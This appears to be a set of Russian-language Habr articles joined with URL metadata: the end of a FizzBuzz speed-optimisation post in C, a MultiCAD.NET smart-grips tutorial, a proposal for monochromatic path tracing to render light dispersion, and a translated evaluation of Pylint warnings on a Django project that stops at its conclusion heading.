Новая методика переделки числа в строку будет работать только для 9-значных чисел, которые составляют 90% нашего числового поля. Можно еще сделать отдельный вариант для 8-значных чисел, это закроет еще 9%, а оставшийся процент можно обрабатывать более медленным, но зато универсальным обработчиком. Но это означает, что нужно иметь возможность для разных диапазонов чисел задавать разные обработчики. Это немного усложнит менеджер задач, но без этого нельзя будет реализовать новые идеи, не отказываясь от многопоточности.
Даже не считая двух lookup таблиц на 10000 и на 1000 чисел (на big endian можно было бы обойтись и одной, на little endian это потребует дополнительных плясок, которые неминуемо ударят по производительности), кода стало заметно больше, так что я приведу только самый важный кусок – worker’а, который обрабатывает 9-значные числа (то есть 90% числового поля):
```
#define FIZZ do { *((uint64_t *)cur) = 0x0a7a7a6946; cur += 5; } while (0)
#define BUZZ do { *((uint64_t *)cur) = 0x0a7a7a7542; cur += 5; } while (0)
#define FIZZBUZZ do { *((uint64_t *)cur) = 0x7a7a75427a7a6946; cur += 8; *((uint8_t *)cur) = 0x0a; cur++; } while (0)
#define FIZZ_BUZZ do { *((uint64_t *)cur) = 0x7a75420a7a7a6946; cur += 8; *((uint16_t *)cur) = 0x0a7a; cur += 2; } while (0)
#define BUZZ_FIZZ do { *((uint64_t *)cur) = 0x7a69460a7a7a7542; cur += 8; *((uint16_t *)cur) = 0x0a7a; cur += 2; } while (0)
#define DIGIT(A) do {*cur = A; cur++; *cur = '\n'; cur ++; } while (0)
#define NUM do {*((uint32_t *)cur) = high; cur += 4; *((uint32_t *)cur) = low; cur += 4; } while (0)
#define NORM do { l++; if (l >= 10000) { l -= 10000; h += 1; high = table10K[h]; } low = table10K[l]; } while(0)
void *fast9(void *arg) {
struct thread_data *data = (struct thread_data *)arg;
char *cur = data->buf;
int first_digits = data->first / 10;
int h = first_digits / 10000; // decimal digits 1-4
int l = first_digits % 10000; // decimal digits 5-8
uint32_t high = table10K[h];
uint32_t low = table10K[l];
for (int i = data->first; i <= data->last; i += 30) {
NUM; DIGIT('1'); // 1
NUM; DIGIT('2'); // 2
FIZZ; // 3
NUM; DIGIT('4'); // 4
BUZZ_FIZZ; // 5, 6
NUM; DIGIT('7'); // 7
NUM; DIGIT('8'); // 8
FIZZ_BUZZ; // 9, 10
NORM;
NUM; DIGIT('1'); // 11
FIZZ; // 12
NUM; DIGIT('3'); // 13
NUM; DIGIT('4'); // 14
FIZZBUZZ; // 15
NUM; DIGIT('6'); // 16
NUM; DIGIT('7'); // 17
FIZZ; // 18
NUM; DIGIT('9'); // 19
BUZZ_FIZZ; // 20, 21
NORM;
NUM; DIGIT('2'); // 22
NUM; DIGIT('3'); // 23
FIZZ_BUZZ; // 24, 25
NUM; DIGIT('6'); // 26
FIZZ; // 27
NUM; DIGIT('8'); // 28
NUM; DIGIT('9'); // 29
FIZZBUZZ; // 30
NORM;
}
data->buflen = cur - data->buf;
pthread_exit(NULL);
}
```
Загадочные хексовые константы – это слова Fizz и Buzz в разных вариантах, представленные в виде little endian чисел.
Полный исходник [тут](https://github.com/qrdl/fizzbuzz/blob/main/multithreaded2.c).
Результат
---------
Ну и самое главное – получилось ли уделать “пенсионера”?
`$ time ./multithreaded2 >/dev/null
real 0m0.692s
user 0m2.659s
sys 0m0.033s`
Да, более чем в 3 раза быстрее. И удалось войти в секунду, притом с огромным запасом. Что интересно, я обновил данные по всем тестам и теперь даже `multithreaded` отлично входит в секунду (но новый вариант все равно быстрее). Не знаю, то ли это заслуга более нового kernel'а (5.17 вместо 4.12) или более нового gcc (11.3 вместо 7.5). | https://habr.com/ru/post/682332/ | null | ru | null |
# Интеллектуальные ручки пользовательского объекта в MultiCAD.NET
Удобство редактирования чертежей является одной из ключевых характеристик систем автоматизированного проектирования. Важным инструментом для работы с объектами чертежа служат ручки (grips) — специальные маркеры в ключевых точках объекта, которые позволяют видоизменять объект с помощью мыши, без использования меню или командной строки.
Механизм управления ручками в MultiCAD.NET позволяет работать как с простыми, так и интеллектуальным ручками. Про простые ручки мы писали в одной из прошлых [статей](http://habrahabr.ru/company/nanosoft/blog/184482/), здесь же мы рассмотрим интеллектуальные ручки, которые, помимо формы (круглые, треугольные, ромбовидные и т.д.), отличаются от простых тем, что они могут изменять отдельные параметры объекта, вызывать всплывающее меню или выполнять набор действий, определенный в обработчике. Кроме, этого API интеллектуальных ручек позволяет также создавать и простые ручки, но используя при этом новый, унифицированный подход.
Под катом код создания нескольких видов интеллектуальных ручек объекта и анимированные изображения, демонстрирующие их использование.
#### Класс McSmartGrip
Для описания интеллектуальных ручек в MultiCAD.NET API используется класс `McSmartGrip`. Данный класс содержит несколько вариантов конструктора с различными списками параметров, а также обработчики событий, которые генерируются в зависимости от действий пользователя:
* `MoveGrip` — вызывается при перемещении ручки,
* `MouseMove` — вызывается при перемещении ручки интерактивного типа,
* `GetContextMenu` — вызывается при щелчке на ручке с типом `GripType.PopupMenu`,
* `OnCommand` — вызывается при щелчке на ручке с типом `GripType.Button` или по пункту контекстного меню полученного из `GetContextMenu`.
Например, для создания простой ручки, отвечающей за перемещение точки объекта, может быть использован следующий конструктор:
```
var simpleGrip = new McSmartGrip(position, (obj, g, offset) => { obj.TryModify(); obj.\_pnt += offset; }
```
Данный конструктор предусматривает реализацию делегата `MoveGrip`, что мы и сделали, с помощью лямбда-выражения (<http://msdn.microsoft.com/ru-ru/library/bb397687.aspx>), а именно, переместили позицию объекта на величину `offset`.
#### Регистрация ручек
Регистрация ручек пользовательского объекта производится с помощью метода `AppendGrip()` класса `GripPointsInfo`:
```
public void AppendGrip(Multicad.CustomObjectBase.McBaseGrip grip);
```
Этот класс используется в качестве аргумента метода `GetGripPoints()`, который вызывается для получения ручек каждый раз при отображении объекта:
```
public virtual bool GetGripPoints(Multicad.CustomObjectBase.GripPointsInfo info);
```
Следующий фрагмент кода создает и добавляет всю ту же простую ручку:
```
public override bool GetGripPoints(GripPointsInfo info)
{
info.AppendGrip(new McSmartGrip(\_pnt, (obj, g, offset) => { obj.TryModify(); obj.\_pnt += offset; }));
}
```
Как видите, вся процедура очень компактна и занимает всего одну строку кода. Однако, это касалось самого элементарного случая, а именно, простых ручек. Давайте рассмотрим какие еще типы ручек поддерживаются в MultiCAD.NET API, а также специфику работы с каждым из них.
#### Типы ручек
Используя MulitiCAD.NET, можно создавать ручки следующих типов:
* `Simple` — простая ручка. Обработка перемещения ручки, реализуется в `MoveGrip`.
* `PopupMenu` — ручка, по щелчку на которой отображается всплывающие меню. Обработка события реализуется в `OnCommand`.
* `Button` — ручка-кнопка, при нажатии на которую выполняются действия, описанные в `OnCommand`.
* `Interactive` — тип, похожий на `Simple`, но позволяющий работать с объектными привязками. В отличие от простой ручки обработка события реализуется в `MouseMove`.
#### Внешний вид ручек
Один объект может содержать несколько ручек различного типа; для того, чтобы визуально их различать, можно назначить внешний вид каждой из них, определив ее форму и цвет. Многообразие форм ручек определяется перечислением `McBaseGrip.GripAppearance`. Вот некоторые из них:
Также может быть задан желаемый цвет ручек из набора цветов, определенного в классе `GripColors`, или же можно определить цвет стандартным способом, с помощью `System.Drawing.Color`.
Давайте посмотрим как это работает. В качестве примера возьмем знакомый нам примитив `TextInBox`, описанный в [этой](http://habrahabr.ru/company/nanosoft/blog/184482/) статье и создадим для него несколько интеллектуальных ручек различного типа.
##### Простая ручка
Этот вид ручек мы уже упоминали в статье, и, как можно догадаться из названия, он используется для простых действий, например, для перемещения точек объекта. Добавим одну простую ручку для перемещения угловой точки нашего примитива:
```
info.AppendGrip(new McSmartGrip(\_pnt, (obj, g, offset) => { obj.TryModify(); obj.\_pnt += offset; }));
```
Результат работы такой ручки — на анимированной иллюстрации:
##### Ручка-кнопка
Добавим ручку-кнопку, которая будет управлять отображением рамки вокруг текста по нажатию. Для создания такой ручки используется конструктор с указанием типа ручки `McBaseGrip.GripType.Button` и базовым цветом. Обработчик нажатия на кнопку `OnCommand` меняет значение индикатор рисования рамки `_show_frame` на обратное. Для созданной ручки-кнопки определим внешний вид «включено», который будет меняться на «выключено» при нажатии, и обратно.
```
var OnOffGrip = new McSmartGrip(McBaseGrip.GripType.Button, 1, \_pnt + stepVector,
McBaseGrip.GripAppearance.SwitchOn, 0, "Hide Frame", GripColors.Base);
OnOffGrip.Tag = "OnOffGrip";
if (\_show\_frame == false)
OnOffGrip.SetAppearanceAndText(McBaseGrip.GripAppearance.SwitchOff, "Show frame");
OnOffGrip.OnCommand = (obj, commandId, grip) => { obj.TryModify(); obj.\_show\_frame = !obj.\_show\_frame;};
info.AppendGrip(OnOffGrip);
```
Результат:
Также по нажатию ручки-кнопки может быть вызвана необходимая зарегистрированная команда:
```
var cmdGrip = new McSmartGrip( McBaseGrip.GripType.Button, 1, \_pnt + 2 \* stepVector,
McBaseGrip.GripAppearance.Circle, 0, "button", GripColors.Base);
cmdGrip.Tag="cmd";
cmdGrip.OnCommand = (obj, commandId, grip) =>
{
McContext.ExecuteCommand(grip.Tag.ToString());
};
```
##### Ручка-меню
Еще один тип ручек, который можно создавать в MultiCAD.NET — ручка для вызова контекстного меню. Данный вид ручек используется, когда пользователю необходимо выбрать из списка необходимое значение параметра объекта из списка.
Данный вид ручек создается с помощью конструктора с указанием типа `McBaseGrip.GripType.PopupMenu` и внешнего вида, определенного значением `McBaseGrip.GripAppearance.PopupMenu`. Для работы с контекстным меню необходимо реализовать два делегата:
`GetContextMenu` — вызов меню при нажатии на ручку,
`OnCommand` — вызов действий при выборе пунктов
```
var ctxGrip = new McSmartGrip(McBaseGrip.GripType.PopupMenu, 2, \_pnt + 2 \* stepVector,
McBaseGrip.GripAppearance.PopupMenu, 0, "Select menu", System.Drawing.Color.Lime);
ctxGrip.GetContextMenu = (obj, items) =>
{
items.Add(new ContextMenuItem("Command 1", "none", 1));
};
ctxGrip.OnCommand = (obj, commandId, grip) =>
{
if (grip.Id == 2)
{
switch (commandId)
{
case 1:
{
MessageBox.Show("Command 1 is selected");
break;
}
}
}
};
info.AppendGrip(ctxGrip);
```
Результат:
##### Интерактивная ручка
И, наконец, последний тип ручек, который мы рассмотрим — интерактивный. Главное отличие этих ручек в том, что они могут использовать информацию об объектах привязки и в зависимости от этого определять свое поведение.
В качестве примера, добавим одну из таких ручек, которая позволит менять текст нашего примитива на имя выбранного объекта (за исключением родительского объекта). В зависимости от объекта привязки ручка будет менять цвет: в исходном состоянии ручка будет иметь цвет `GripColors.Base`, при наведении на родительский объект цвет будет меняться на `Color.Red`, на любой другой объект, поддерживающий привязку — на `Color.Green`.
Интерактивная ручка создается конструктором с указанием типа `McBaseGrip.GripType.Interactive`, а работа ручки реализуется в делегате `MouseMove` (в отличие от простых ручек, где используется `MoveGrip`).
```
var interactiveGrip = new McSmartGrip(McBaseGrip.GripType.Interactive, 3, \_pnt + 3 \* stepVector,
McBaseGrip.GripAppearance.Arrow, 0, "interactive", GripColors.Base);
interactiveGrip.IsMovable = true;
interactiveGrip.MouseMove = (obj, entInfo, grip, offset) =>
{
grip.Color = GripColors.Base;
if (!entInfo.SnapedObjectId.IsNull)
{
if (ID == entInfo.SnapedObjectId)
{
grip.Color = Color.Red;
}
else
{
grip.Color = Color.Green;
obj.TryModify();
obj.Text = (entInfo.SnapedObjectId.GetObject().GetType().ToString());
}
}
};
info.AppendGrip(interactiveGrip);
```
Результат: текст «Text field» заменен на «MultiCAD.Samples.TextInBox».
Мы перечислили основные типы интеллектуальных ручек, которые позволяют создать эффективный интерфейс для работы с пользовательскими объектами, созданными на MultiCAD.NET. Документация по MultiCAD.NET входит в состав nanoCAD SDK, доступ к которому можно получить, зарегистрировавшись в [Клубе разработчиков nanoCAD](http://developer.nanocad.ru).
Обсуждение статьи доступно также и на нашем форуме: [forum.nanocad.ru/index.php?showtopic=6518](http://forum.nanocad.ru/index.php?showtopic=6518).
Перевод статьи на английский: [Smart grips of custom object in MultiCAD.NET](http://developer.nanocad.com/blog/2014/12/18/smart-grips-of-custom-object-in-multicad-net/) | https://habr.com/ru/post/234181/ | null | ru | null |
# Как добавить реализма в path tracing
Здравствуйте, уважаемые хабровчане. Казалось бы: куда уже реальнее, но все же, есть у меня идея. По порядку.
#### Введение
Path tracing — это метод создания сцен виртуальной реальности, основан на оптике.
В трехмерном пространстве из источника света испускается очень много лучей (в идеале сколько же, сколько в реальности фотонов) и прослеживаются истории каждого луча. Когда луч встречается с преградой, возможно несколько событий: поглощение, отражение, преломление. Вероятность каждого из них зависит от материала преграды и цвета луча. Те лучи, которые попали в камеру — рисуются на экране. Вообще, подробнее это можно прочитать в википедии.
Добавлю только, что в оптике время изотропно, это означает, что оба направления времени равноправны. Получается, можно следить за лучами не от источника к глазу, а от глаза к источнику. Это практичнее, path tracing и так очень затратный, нельзя тратить время на трассировку лучей, в которых нет шанса быть нарисованными.
#### Идея
А что если трассировать не лучи, а фотоны. Это же тоже самое! Я уточню. В одному направлении испускать сразу много **монохроматических** фотонов. Там где раньше был один луч, теперь 16, 32, 64… сколько не жалко фотонов с длиной волны 720, 700, ..., 450 нм. И у каждого из них может быть своя история. Смысл это будет иметь только тогда, когда материал по разному изменяет направление фотонов с разной частотой.
Со школьной физики известно, что это и есть причина дисперсии света. Дисперсия света возникает, когда коэффициент преломления зависит от частоты фотона. Получается что при старом подходе невозможно реализовать это самую дисперсию. Невозможно «по честному» нарисовать, например, бриллиант.
На псевдокоде это как-то так выглядит:
```
i = 0..screen_h-1
j = 0..screen_w-1
double x = 2*j/screen_w-1;
double y = 2*i/screen_h-1;
table[i, j] = norm(center+x*left+y*up);
n = 0..samples_num-1
i = 0..screen_h-1
j = 0..screen_w-1
freq = 0..color_quality-1
power = 0;
Ray r = ray_from_vecs(eye, table[i, j]);
trace(&r, &power, freq);
screen[i*w+j] = screen[i*w+j]+power*rgb_from_freq(freq);
i = 0..screen_h-1
j = 0..screen_w-1
screen[i*w+j] /= samples_num;
```
Здесь, думаю, все понятно. freq — частота волны света, screen\_w, screen\_h — ширина и высота экрана в пикселях, samples\_num — количество выборок. Истинный цвет — среднее арифметическое по всех выборках, когда число выборок стремится к бесконечности. Векторы направлений фотонов лучше сохранять в таблице (table), что-бы не рассчитывать каждый раз. Рассчитываются они по несложной формуле, в которой участвуют еще и вектора указывающие на центр экрана, левую и верхнюю границу экрана. Например если соотношение сторон 4:3, то можно выбрать
```
center = (0, 0, 0)
left = (4, 0, 0)
up = (3, 0, 0)
```
Разумеется это все зависит от реализации.
Теперь о функции trace, в ней и происходит «магия». Она принимает положение и направление луча, а также его частоту, мощность (power) должна быть равна нулю. Возвращает она новое положение и направление и мощность. Положение и направление нас не интересует и фигурирует только для того, что-бы функция trace могла вызываться рекуррентно.
Color — массив, размер которого совпадает с количеством градаций частот.
Опять псевдокод
```
void trace()
{
Vec n; // вектор нормали в точке пересечения
Vec p; // точка пересечения
Color dif; // вероятности диффузного отражения от материала
Color rfl; // вероятности зеркального отражения от материала
Color ems; // интенсивность излучения материала
Color koef; // коэффициент преломления материала при конкретной частоте
find_intersekt();
double f = random(); // (fade) судьба луча
double a = dif[freq];
double b = a+rfl[freq];
r->pos = p;
double k = n*r->dir; // косинус угла с нормалью при падении
if (f < a) // диффузное отражение
{
r->dir = случайное_направление_в_полупространстве_нормали;
}
if ((f >= a) && f < b) // зеркальное отражение
{ // эти формулы получил я сам
Vec a_ = cross(n, r->d);
Vec b_ = cross(a_, koef*n);
double d = 1-b_*b_;
if (d < 0) // если возможно отражение (в полупространстве нормали), то отражаем
r->dir = r->dir+2*k*n;
else // иначе преломляем
{
double l = sqrt(d);
r->dir = b_-l*n;
}
}
if (f < b) // диффузное или зеркальное отражение, то идем в рекурсию
trace(r, power, freq);
power = power+ems[freq]*k; // на выходе с рекурсии подсчитываем поверхности, которые излучают
}
```
Конечно этот псевдокод не претендует ни на что. Можно например сохранять разные вероятности для преломления и зеркального отражения. Или еще как то усложнить модель. Главное здесь — вероятности и коэффициент преломления зависят от частоты и у каждого фотона она своя.
Я полистал картинки по запросу path tracing в гугле и не увидел дисперсию света. Поиск по запросу monochromatic path tracing не показал ничего интересного. Пересмотрел всю первую страницу, везде эти слова разделены другими и в самой статье нету моей идеи.
Конечно скорее всего это уже реализовано и описано в книгах, до которых я еще не дотянулся.
#### Следствия
Не нужно быть гением, что-бы понять: трассировка монохроматических фотонов обойдется в 16, 32,… дороже чем стандартный алгоритм (зависит от качества цвета). Сейчас трассировка пути в реальном времени на железе обычного пользователя невозможна и непонятно когда это можно будет осуществить. А «монохроматическая» трассировка — еще дороже. | https://habr.com/ru/post/164727/ | null | ru | null |
# Pylint: детальная проверка работы анализатора кода
Когда Люк работал с Flake8 и одновременно присматривался к Pylint, у него сложилось впечатление, что 95% ошибок, выдаваемых Pylint, были ложными. У других разработчиков был иной опыт взаимодействия с этими анализаторами, поэтому Люк решил детально разобраться в ситуации и изучить его работу на 11 тыс. строк своего кода. Кроме того, он оценил пользу от Pylint, рассматривая его как дополнение к Flake8.
Люк ([Luke Plant](https://twitter.com/spookylukey)) — один из британских разработчиков, на чью статью с разбором популярных анализаторов кода мы недавно наткнулись. Линтеры изучают код, помогают найти ошибки и сделать его стилистически согласованным со стандартами и кодом, который пишут разработчики в вашей команде. Самые распространенные из них — Pylint и Flake8. Мы в [Leader-ID](https://leader-id.ru/) их тоже используем, потому с радостью сделали перевод его статьи. Надеемся, что она обогатит и ваш опыт работы с этими инструментами.
Начальные установки и тестовая база
-----------------------------------
Для данного эксперимента я взял часть кода из одного своего проекта и запустил Pylint с базовыми настройками. Затем попытался проанализировать результат: какие предупреждения оказались полезными, а какие ложными.
Небольшая справка о проекте, из которого был взят код:
* Обычное приложение, написанное на Django (т.е. внутри все тот же Python). У Django есть свои особенности, и, как фреймворк, он имеет свои ограничения, но позволяет писать нормальный код на Python. Некоторые его недостатки как фреймворка также есть и у других библиотек, использующих шаблоны (callback-функций или шаблоны проектирования Template Method).
* Состоит из 22 000 строк кода. Через Pylint прошло примерно 11 000 строк (9 000, если отбросить пропуски). Эта часть проекта состояла преимущественно из кода views и тестового кода.
* Для анализа кода этого проекта я уже использовал Flake8, обработав все полученные ошибки. Смысл этого эксперимента состоял в том, чтобы оценить пользу от Pylint, как прибавку к Flake8.
* У проекта хорошее тестовое покрытие кода, но так как я его единственный автор, у меня не было возможности воспользоваться коллегиальным рецензированием.
Надеюсь, что этот анализ будет полезен другим разработчикам для принятия решения использования Pylint в стеке для проверки качества кода. Я предполагаю, что если вы уже используете что-то вроде Pylint, вы будете использовать его систематически для необходимой проверки качества кода, чтобы сводить проблемы к минимуму.
> Итак, Pylint выдал 1650 претензий к моему коду.
Ниже я сгруппировал все замечания анализатора по типам и дал к ним свои комментарии. Если вам нужно подробное описание этих сообщений, загляните в [соответствующий раздел](http://pylint.pycqa.org/en/stable/technical_reference/features.html) списка функций Pylint.
Баги
----
Pylint нашел ровно один баг в моем коде. Багом я считаю ошибку, которая возникает или может потенциально возникнуть во время работы программы. В этом кейсе я использовал исключения — `broad-except.`То есть `except Exception`, а не просто except, который Flake8 отлавливает. Это повлекло бы за собой неправильное поведение во время выполнения при наличии некоторых исключений. Если бы эта ошибка когда-либо выскочила во время выполнения (не факт, что выскочит), то неверное поведение кода не вызвало бы серьезных последствий, хотя…
Итого: 1
Полезное
--------
В придачу к той ошибке Pylint нашел еще несколько, которые я отнес к категории «полезное». Код от них не падал, но могли возникнуть проблемы при рефакторинге, да и в принципе к ошибкам в будущем при расширении списка фичей и поддержке кода.
Семь из них были `too-many-locals` / `too-many-branches` / `too-many-local-variables`. Они относились к трем частям моего кода, которые были плохо структурированы. Над структурой хорошо бы было еще подумать, и я уверен, что мог бы сделать лучше.
Остальные ошибки:
* `unused-argument` × 3 — один из них действительно был косяком, и код выполнялся правильно случайно. Другие два ненужных и неиспользуемых аргумента привели бы к проблемам в будущем, если бы я их использовал.
* `redefined-builtin` × 2
* `dangerous-default-value` × 2 — не баги, ибо я никогда не использовал дефолтные значения, но хорошо бы это исправить на всякий случай.
* `stop-iteration-return` × 1 — вот тут я узнал для себя что-то новое, никогда бы сам не нашел.
* `no-self-argument` × 1
**Итого: 16**
Косметические правки
--------------------
На эти вещи я бы обращал меньше внимания. Они либо незначительные, либо маловероятные. С другой стороны, их исправление лишним не будет. Часть из них — спорные стилистические. О некоторых похожих косяках я рассказывал в других разделах, но те, что будут тут перечислены, подходят и под этот контекст. Используя регулярно Pylint, я бы поправил эти «недочеты», но в большинстве случаев не стал бы беспокоиться о них.
`invalid-name` × 192
Это были в основном имена переменных из одной буквы. Использовал в тех контекстах, где это было не страшно, например:
или
Многие были в коде тестов:
* `len-as-condition` × 20
* `useless-object-inheritance` × 16 (наследие Python 2)
* `no-else-return` × 11
* `no-else-raise` × 1
* `bad-continuation` × 6
* `redefined-builtin` × 4
* `inconsistent-return-statements` × 1
* `consider-using-set-comprehension` × 1
* `chained-comparison` × 1
**ИТОГО: 252**
Бесполезное
-----------
Это когда у меня были основания написать код так, как я его написал, даже если в некоторых местах это кажется необычным. И, по моему мнению, его лучше оставить в таком виде, хотя некоторые не согласятся или предпочтут другой стиль написания кода, который потенциально мог бы избежать проблем.
* `too-many-ancestors` × 76
Были в тестовом коде, где я использовал много классов [примесей](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%81%D1%8C_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)), чтобы поставить утилиты или заглушки.
* `unused-variable` × 43
Встречалось почти все время в тестовом коде, где я разбивал запись:
… и не использовал ни один из элементов. Есть несколько способов сделать так, чтобы Pylint тут не сообщал об ошибках (например, дать названия **`unused`**). Но если оставить в том виде, в котором я написал, он будет читабельным, и люди (в том числе я) смогут его понимать и поддерживать.
* **`invalid-name`** × 26
Это были случаи, когда я присваивал подходящие названия в контексте, но те, которые не соответствовали стандартам именования Pylint. Например db (это общепринятая аббревиатура для database) и некоторые другие нестандартные названия, которые, на мой взгляд, были более понятны. Но вы можете не согласиться со мной.
* **`redefined-outer-name`** × 16
Иногда имя переменной указано правильно как для внутреннего, так и для внешнего контекста. И вам никогда не придется использовать внешнее имя из внутреннего контекста.
* **`too-few-public-methods`** × 14
Примеры включают классы с данными, созданными при помощи [attrs](http://www.attrs.org/en/stable/), где нет публичных методов, и класс, который реализует интерфейс словаря, но который нужен, чтобы обеспечить корректную работу метода **`__getitem__`**
* **`no-self-use`** × 12
Возникали в коде тестов, где я намеренно добавлял методы к базовому классу без параметра **`self`**, потому что таким образом их было удобнее импортировать и сделать доступными для тестового кейса. Некоторые из них даже обернули в отдельные функции.
* **`attribute-defined-outside-init`** × 10
В этих случаях были веские причины написать код как он есть. В основном эти ошибки возникали в коде тестов.
* **`too-many-locals`** × 6, **`too-many-return-statements`** × 6, **`too-many-branches`** × 2, **`too-many-statements`** × 2
Да, эти функции были слишком длинными. Но посмотрев на них, я не увидел хороших способов их подчистить и улучшить. Одна из функций была простой, хотя и длинной. Она имела очень четкую структуру и не была криво написанной, а любые способы ее сокращения, которые я мог бы придумать, включали бы бесполезные слои лишних или неудобных функций.
* **`arguments-differ`** × 6
Возникает в основном из-за использования \*args и \*\*kwargs в переопределенном методе, который позволяет защитить себя от изменений в сигнатуре методов из сторонних библиотек (но в некоторых случаях это сообщение может указывать на настоящие баги).
* **`ungrouped-imports`** × 4
Я уже использую isort для импорта
* **`fixme`** × 4
Да, есть несколько вещей, которые надо исправить, но прямо сейчас исправлять их не хочу.
* **`duplicate-code`** × 3
Иногда вы используете небольшое количество шаблонного кода, которое просто необходимо, и когда реальной логики в теле функции немного, вылетает это предупреждение.
* **`broad-except`** × 2
* **`abstract-method`** × 2
* **`redefined-builtin`** × 2
* **`too-many-lines`** × 1
Я пытался придумать каким естественным способом разбить этот модуль, но не смог. Это один из примеров, где видно, что линтер — неправильный инструмент. Если у меня есть модуль с 980 строками кода, и я добавлю еще 30, я пересекаю лимит в 1000 строк, и уведомления от линтера мне тут ничем не помогут. Если 980 строк — это нормально, то почему 1010 плохо? Я не хочу рефакторить этот модуль, но хочу, чтобы линтер не выдавал ошибки. Единственным решением в этот момент я вижу сделать как-то так, чтобы линтер замолчал, а это противоречит конечной цели.
* **`pointless-statement`** × 1
* **`expression-not-assigned`** × 1
* **`cyclic-import`** × 1
С циклом разобрались перемещением его части в одну из функций. Я не мог найти лучшего способа структурировать код с учетом ограничений.
* **`unused-import`** × 1
Я уже добавлял `# NOQA` при использовании Flake8, чтобы эта ошибка не выскакивала.
* **`too-many-public-methods`** × 1
Если в моем тестовом классе 35 тестов вместо 20 регламентируемых, неужели это действительно проблема?
* **`too-many-arguments`** × 1
**Итого: 243**
Невозможно поправить
--------------------
Здесь отражена категория ошибок, которые я не могу исправить, даже если бы захотел, ввиду внешних ограничений, например таких, как необходимость возвращать или передавать классы в стороннюю библиотеку или фреймворк, которые должны удовлетворять определенным требованиям.
* **`unused-argument`** × 21
* **`invalid-name`** × 13
* **`protected-access`** × 3
Включало доступ к «документированным внутренним объектам», таким как `sys._getframe` в stdlib и Django `Model._meta`.
* **`too-few-public-methods`** × 3
* **`too-many-arguments`** × 2
* **`wrong-import-position`** × 2
* **`attribute-defined-outside-init`** × 1
* **`too-many-ancestors`** × 1
**Итого: 46**
Ложные сообщения
----------------
Вещи, в которых Pylint явно неправ. В данном случае это не ошибки Pylint: дело в том, что Python динамичен, а Pylint пытается обнаружить вещи, которые невозможно сделать идеально или надежно.
* **`no-member`** × 395
Связано с несколькими базовыми классами: из Django и теми, которые я создал сам. Pylint не смог обнаружить переменную из-за динамизма / метапрограммирования.
Многие ошибки возникли из-за структуры кода тестов (я использовал шаблон от django-functest, который в некоторых случаях можно было поправить, добавив дополнительные базовые классы с помощью «абстрактных» методов, которые вызывают **`NotImplementedError`**) или, возможно, переименовав многие тестовые классы (я не стал этого делать, потому что в некоторых случаях это бы запутывало).
* **`invalid-name`** × 52
Проблема возникала в основном потому что Pylint применил [правило PEP8 о константах](https://www.python.org/dev/peps/pep-0008/#constants), считая, что каждое имя верхнего уровня, определенное с помощью **`=`**, является «константой». Определить точно, что мы подразумеваем под константой, сложнее, чем кажется, но это не относится к некоторым вещам, которые по своей природе являются константами, например, к функциям. Также правило не должно применяться к менее привычным способам создания функций, например:
Некоторые примеры — дискуссионные из-за отсутствия определения того, что такое константа. Например, следует ли считать константой экземпляр класса, определенный на уровне модуля, который может иметь или не иметь изменяемое состояние? Например, в этом выражении:
* **`no-self-use`** × 23
Pylint неправильно заявил Method could be a function для множества случаев, где я использую наследование для выполнения различных реализаций, соответственно, я не могу преобразовать их в функции.
* **`protected-access`** × 5
Pylint неверно оценил, кто был «владельцем» (текущий фрагмент кода создает protected атрибут объекта и использует его локально, но Pylint этого не видит).
* **`no-name-in-module`** × 1
* **`import-error`** × 1
* **`pointless-statement`** × 1
Это утверждение на самом деле давало результат:
Я использовал это, чтобы намеренно вызвать необычную ошибку, которая вряд ли будет найдена тестами. Я не виню Pylint в том, что он это не распознал…
**Итого: 477**
Промежуточный итог
------------------
Мы еще не на финише, но самое время сгруппировать наши результаты:
1. «Хорошо» — блоки «Баги» и «Полезности» — тут Pylint определенно помог: 17.
2. «Нейтрально» — «Косметические правки» — незначительная польза от Pylint, ошибки не причинят урон: 252.
3. «Плохо» — «Бесполезное», «Невозможно поправить», «Неточности» — там, где Pylint хочет изменений в коде, где этого не требуется. В том числе там, где правки нельзя внести из-за внешних зависимостей или где Pylint просто неверно проанализировал код: 766.
Соотношение хорошего к плохому очень мало. Если бы Pylint был моим коллегой, помогающим делать ревью кода, я бы умолял его уйти.
Чтобы убрать ложные уведомления, можно заглушить вылетающий класс ошибок (что тогда повысит бесполезность использования Pylint) или добавить [специальные комментарии](https://pylint.readthedocs.io/en/latest/user_guide/message-control.html) в код. Последнее мне не хочется делать, потому что:
1. Это занимает время!
2. Мне не нравятся нагромождения из комментариев, которые существуют для того, чтобы заставить замолчать линтер.
Я с радостью добавлю эти псевдокомментарии, когда от линтера будут несомненный плюс. Кроме того, я трепетно отношусь к комментариям, поэтому моя подсветка синтаксиса отображает их ярко: так, как рекомендовано [в этой статье](https://jameshfisher.com/2014/05/11/your-syntax-highlighter-is-wrong/). Тем не менее, в некоторых местах я уже добавил комментарии #`NOQA` для заглушения Flake8, но с ними для одной секции можно добавить лишь пять кодов ошибок.
Docstrings
----------
Остальные проблемы, которые обнаружил Pylint — пропущенные строки документации. Я вынес их в отдельную категорию, потому что:
1. Они очень спорны, и у вас может быть совсем другая политика в отношении таких вещей.
2. У меня не было времени провести анализ всех их.
Всего Pylint обнаружил 620 недостающих докстрингов (в модулях, функциях, методах классов). Но во многих случаях я оказался прав. Например:
* Когда из названия уже все понятно. Например:
* Когда docstring уже определена — например, если я реализую интерфейс [Django’s database router](https://docs.djangoproject.com/en/stable/topics/db/multi-db/#topics-db-multi-db-routing). Добавление своей строки в данном случае может быть опасным.
В остальных случаях моему коду не помешали бы эти строки описаний. Примерно в 15–30% случаях, найденных Pylint, я бы подумал «Да, надо добавить здесь docstring, спасибо Pylint за напоминание».
В целом мне не нравятся инструменты, которые заставляют добавлять докстринги везде и всюду, так как считаю, что в этом случае они будут получаться плохими. Лучше уж не писать их вовсе. Аналогичная ситуация с плохими комментариями:
* их читать — трата времени: в них нет дополнительной информации или они содержат некорректную информацию,
* они помогают на подсознательном уровне выделять докстринги в тексте, поскольку в них содержится полезная информация (если вы пишите их по делу).
Предупреждения об отсутствующих строках документации раздражают: чтобы их убрать, надо по отдельности добавлять комментарии, на что требуется примерно столько же времени, что и на добавление самого докстринга. Плюс это все создает визуальный шум. В итоге вы получите строки документации, которые не являются необходимыми или полезными.
Заключение
----------
